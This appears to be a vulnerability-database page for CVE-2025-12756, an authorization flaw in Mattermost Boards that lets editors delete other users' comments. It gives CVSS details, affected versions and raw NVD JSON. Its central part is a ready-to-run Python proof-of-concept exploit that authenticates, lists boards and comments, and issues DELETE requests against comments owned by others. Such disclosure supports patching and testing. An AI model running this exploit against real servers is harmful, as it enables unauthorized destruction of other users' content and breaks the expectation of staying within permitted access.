Security Vulnerability Report
中文
CVE-2025-12756 CVSS 4.3 MEDIUM

CVE-2025-12756

Published: 2025-12-01 20:15:49
Last Modified: 2025-12-05 15:26:22

Description

Mattermost versions 11.0.x <= 11.0.2, 10.12.x <= 10.12.1, 10.11.x <= 10.11.4, 10.5.x <= 10.5.12 fail to validate user permissions when deleting comments in Boards, which allows an authenticated user with the editor role to delete comments created by other users.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:* - VULNERABLE
Mattermost Boards 11.0.x <= 11.0.2
Mattermost Boards 10.12.x <= 10.12.1
Mattermost Boards 10.11.x <= 10.11.4
Mattermost Boards 10.5.x <= 10.5.12

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-12756 PoC - Mattermost Boards Comment Deletion Authorization Bypass This PoC demonstrates the IDOR vulnerability in Mattermost Boards comment deletion. """ import requests import json from typing import Dict, Optional class MattermostBoardsExploit: def __init__(self, target_url: str, username: str, password: str): self.target_url = target_url.rstrip('/') self.username = username self.password = password self.session = requests.Session() self.token = None self.user_id = None self.board_id = None self.target_comment_id = None def authenticate(self) -> bool: """Authenticate to Mattermost and obtain access token.""" login_url = f"{self.target_url}/api/v4/users/login" credentials = { "login_id": self.username, "password": self.password } try: response = self.session.post(login_url, json=credentials, timeout=10) if response.status_code == 200: self.token = response.headers.get('Token') self.session.headers.update({'Authorization': f'Bearer {self.token}'}) user_info = response.json() self.user_id = user_info.get('id') print(f"[+] Authentication successful. User ID: {self.user_id}") return True else: print(f"[-] Authentication failed: {response.status_code}") return False except Exception as e: print(f"[-] Authentication error: {str(e)}") return False def get_boards(self) -> Optional[list]: """Retrieve list of boards accessible to the current user.""" boards_url = f"{self.target_url}/api/v1/boards" try: response = self.session.get(boards_url, timeout=10) if response.status_code == 200: return response.json() return None except Exception as e: print(f"[-] Error fetching boards: {str(e)}") return None def get_comments(self, card_id: str) -> Optional[list]: """Retrieve comments from a specific card.""" comments_url = f"{self.target_url}/api/v1/boards/{self.board_id}/cards/{card_id}/comments" try: response = self.session.get(comments_url, timeout=10) if response.status_code == 200: return response.json() return None except Exception as e: print(f"[-] Error fetching comments: {str(e)}") return None def delete_comment(self, card_id: str, comment_id: str) -> bool: """ Attempt to delete a comment using IDOR vulnerability. This will succeed even if the comment belongs to another user. """ delete_url = f"{self.target_url}/api/v1/boards/{self.board_id}/cards/{card_id}/comments/{comment_id}" try: response = self.session.delete(delete_url, timeout=10) if response.status_code in [200, 204]: print(f"[+] Successfully deleted comment: {comment_id}") return True elif response.status_code == 403: print(f"[-] Forbidden: Access denied to delete comment {comment_id}") return False else: print(f"[-] Delete failed with status: {response.status_code}") return False except Exception as e: print(f"[-] Delete error: {str(e)}") return False def exploit(self, board_id: str, card_id: str, target_comment_id: str) -> bool: """ Execute the IDOR exploit to delete another user's comment. """ print(f"[*] Target Board ID: {board_id}") print(f"[*] Target Card ID: {card_id}") print(f"[*] Target Comment ID: {target_comment_id}") return self.delete_comment(card_id, target_comment_id) def main(): """ Example usage of CVE-2025-12756 PoC. Replace the placeholder values with actual target information. """ TARGET_URL = "https://mattermost.example.com" USERNAME = "[email protected]" PASSWORD = "password123" BOARD_ID = "board_id_here" CARD_ID = "card_id_here" TARGET_COMMENT_ID = "comment_id_of_other_user" exploit = MattermostBoardsExploit(TARGET_URL, USERNAME, PASSWORD) if exploit.authenticate(): exploit.board_id = BOARD_ID success = exploit.exploit(BOARD_ID, CARD_ID, TARGET_COMMENT_ID) if success: print("[!] Vulnerability confirmed: IDOR allows unauthorized comment deletion") else: print("[-] Exploit failed or patch has been applied") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12756", "sourceIdentifier": "[email protected]", "published": "2025-12-01T20:15:49.147", "lastModified": "2025-12-05T15:26:22.237", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mattermost versions 11.0.x <= 11.0.2, 10.12.x <= 10.12.1, 10.11.x <= 10.11.4, 10.5.x <= 10.5.12 fail to validate user permissions when deleting comments in Boards, which allows an authenticated user with the editor role to delete comments created by other users."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.5.0", "versionEndExcluding": "10.5.13", "matchCriteriaId": "91D99F7F-B4EE-447C-9B77-82DD64B1D83A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.11.0", "versionEndExcluding": "10.11.5", "matchCriteriaId": "A8368192-621C-4043-827E-DB4F6946AD92"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.12.0", "versionEndExcluding": "10.12.2", "matchCriteriaId": "ED48D731-6490-4DD5-94D4-EE4555BB93ED"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.0.0", "versionEndExcluding": "11.0.3", "matchCriteriaId": "3A288B87-76F2-415B-8462-3D185EB7A9B3"}]}]}], "references": [{"url": "https://mattermost.com/security-updates", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}